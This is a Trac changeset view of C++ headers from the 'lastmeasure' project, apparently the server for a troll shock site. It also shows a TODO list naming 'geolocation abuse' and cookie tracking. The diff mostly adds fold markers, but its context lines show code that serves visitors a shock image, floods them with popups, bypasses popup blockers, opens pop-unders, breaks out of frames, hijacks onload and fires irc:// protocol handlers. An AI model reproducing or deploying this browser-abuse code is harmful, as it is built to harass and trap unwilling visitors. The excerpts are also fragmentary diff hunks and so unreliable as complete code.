Changeset 677
- Timestamp:
- 01/30/12 22:43:51 (16 months ago)
- Location:
- trollforge/lastmeasure/server
- Files:
-
- 4 edited
-
TODO (modified) (1 diff)
-
lastmeasure.zone.db (modified) (1 diff)
-
lmresource.h (modified) (23 diffs)
-
lmutil.h (modified) (1 diff)
Legend:
- Unmodified
- Added
- Removed
-
trollforge/lastmeasure/server/TODO
r673 r677 15 15 [ ] Geolocation abuse. 16 16 [ ] By which I mean "abuse in any way possible and also incorporate into StatsMeasure. 17 [ ] We can probably replace md5.{c,h} with something else. Something much, much smaller (and not tied to any licensing).17 [X] We can probably replace md5.{c,h} with something else. Something much, much smaller (and not tied to any licensing). 18 18 [ ] Instead of popping up an inundation, limit to a configurable amount of random images in a config file. 19 19 [ ] Add cookie tracking. -
trollforge/lastmeasure/server/lastmeasure.zone.db
r674 r677 27 27 ;irc IN CNAME irc.gnaa.eu. 28 28 29 ; vim: ts=8 sw=8 noexpandtab filetype=dns29 ; vim:filetype=dns ts=8 sw=8 noexpandtab -
trollforge/lastmeasure/server/lmresource.h
r671 r677 19 19 #endif 20 20 21 /* {{{ Static resources */ 21 22 static char const *staticnames[] = 22 23 { … … 80 81 //"/index.php", 81 82 }; 82 83 /* }}} */ 83 84 typedef std::pair<std::string,std::string> Response; 84 85 … … 137 138 bool is_ie6 = parser && (atoi(parser + strlen(" MSIE ")) >= 6); 138 139 140 /* {{{ Generate LM HTML */ 139 141 /* Sending stuff */ 140 142 std::stringstream data(""); 141 143 142 144 data << 143 145 /* {{{ Header shit */ 144 146 "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"" 145 147 "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n" … … 164 166 " <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\" />\r\n" 165 167 " </head>\r\n" 166 168 /* }}} */ 167 169 " <body style=\"background-image: url(//" << host << RandomAsset(IMAGES_PREFIX) << "); background-color: #FFFFFF;\"\r\n" 168 170 " onload=\"bookmark(); noframes(); load_goatse(); document.getElementById('goatse').innerHTML = ''; movew0w(); "; … … 183 185 data << MoveAround(800, 600, host); 184 186 data << ActivateApplets(); 185 187 /* {{{ If using IE6 */ 186 188 if (is_ie6) /* Do these things even work in the newer versions of IE? TODO: Test these. */ 187 189 { … … 204 206 "</script>\r\n"; 205 207 } 206 208 /* }}} */ 207 209 data << 208 210 … … 214 216 " <br />\r\n" 215 217 " <br />\r\n"; 216 218 /* {{{ If not using IE6 */ 217 219 if (!is_ie6) 218 220 { … … 226 228 "</object>\r\n"; 227 229 } 228 230 /* }}} */ 229 231 data << 230 232 … … 233 235 " </tr>\r\n" 234 236 "</table>\r\n"; 235 237 /* {{{ If not a popup... */ 236 238 if (!is_popup) 237 239 { … … 268 270 "<br />\r\n" << Random::Keywords(128) << "</div>\r\n"; 269 271 } 270 272 /* }}} */ 271 273 data << 272 274 " </body>\r\n"; 273 275 274 276 return Response(data.str(), "text/html"); 275 } 276 277 /* }}} */ 278 } 279 /* {{{ JavaScript() */ 277 280 static std::string JavaScript(char const *host) 278 281 { … … 287 290 " return false;\r\n" 288 291 "}\r\n" 289 292 /* {{{ Popups */ 290 293 "function procreate() {\r\n" 291 294 " for(i = 0; i < 16; i++)\r\n" … … 317 320 " document.getElementById(\"hello\").style.display = 'none';\r\n" 318 321 "}\r\n" 319 322 /* }}} */ 320 323 "function noframes() {\r\n" 321 324 " if (top.location.hostname != location.hostname)\r\n" 322 325 " top.location.href = window.location.href;\r\n" 323 326 "}\r\n" 324 327 /* {{{ Protocol ruin */ 325 328 "var protos = [\r\n" 326 329 " \"irc://irc.gnaa.eu/gnaa\",\r\n" … … 354 357 " }\r\n" 355 358 "}\r\n"; 356 357 return ret.str(); 358 } 359 /* }}} */ 360 return ret.str(); 361 } 362 /* }}} */ 359 363 360 364 static char const *MimeType(char const *resource) … … 386 390 return "text/plain"; 387 391 } 388 392 /* {{{ Assets */ 389 393 /* Pick a random asset starting with @prefix. For instance if @prefix 390 394 * is "/images/" we pick one at random and if it starts with "/images/" … … 423 427 return previous; 424 428 } 425 429 /* }}} */ 430 /* {{{ Molish() */ 426 431 static std::string Molish() 427 432 { … … 474 479 return ret.str(); 475 480 } 476 481 /* }}} */ 482 /* {{{ MoveAround() */ 477 483 static std::string MoveAround(size_t width, size_t height, char const *host) 478 484 { … … 523 529 return ret.str(); 524 530 } 525 531 /* }}} */ 532 /* {{{ ActivateApplets() */ 526 533 static std::string ActivateApplets() 527 534 { … … 539 546 return ret.str(); 540 547 } 541 542 /* This chunk bypasses pop-ups */ 548 /* }}} */ 549 /* {{{ This chunk bypasses pop-ups */ 550 /* {{{ PopupBypasser() */ 543 551 static std::string PopupBypasser(char const *host) 544 552 { … … 564 572 return ret.str(); 565 573 } 566 574 /* }}} */ 575 /* {{{ DivertOnload() */ 567 576 static std::string DivertOnload() 568 577 { … … 598 607 return ret.str(); 599 608 } 600 609 /* }}} */ 610 /* {{{ PopUnder() */ 601 611 static std::string PopUnder(char const *host) 602 612 { … … 629 639 return ret.str(); 630 640 } 631 641 /* }}} */ 642 /* }}} */ 643 /* {{{ Tynt() */ 632 644 static std::string Tynt() 633 645 { … … 658 670 return ret.str(); 659 671 } 660 672 /* }}} */ 661 673 private: 662 674 static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames); … … 665 677 666 678 std::string Resources::m_statics[NSTATICS]; 679 680 /* 681 * vim:ts=8 sw=8 noexpandtab foldmethod=marker 682 */ -
trollforge/lastmeasure/server/lmutil.h
r675 r677 11 11 #include <time.h> /* localtime_r() */ 12 12 13 //#include "md5.h"14 13 #include "lmkeywords.h" 15 14
Note: See TracChangeset
for help on using the changeset viewer.
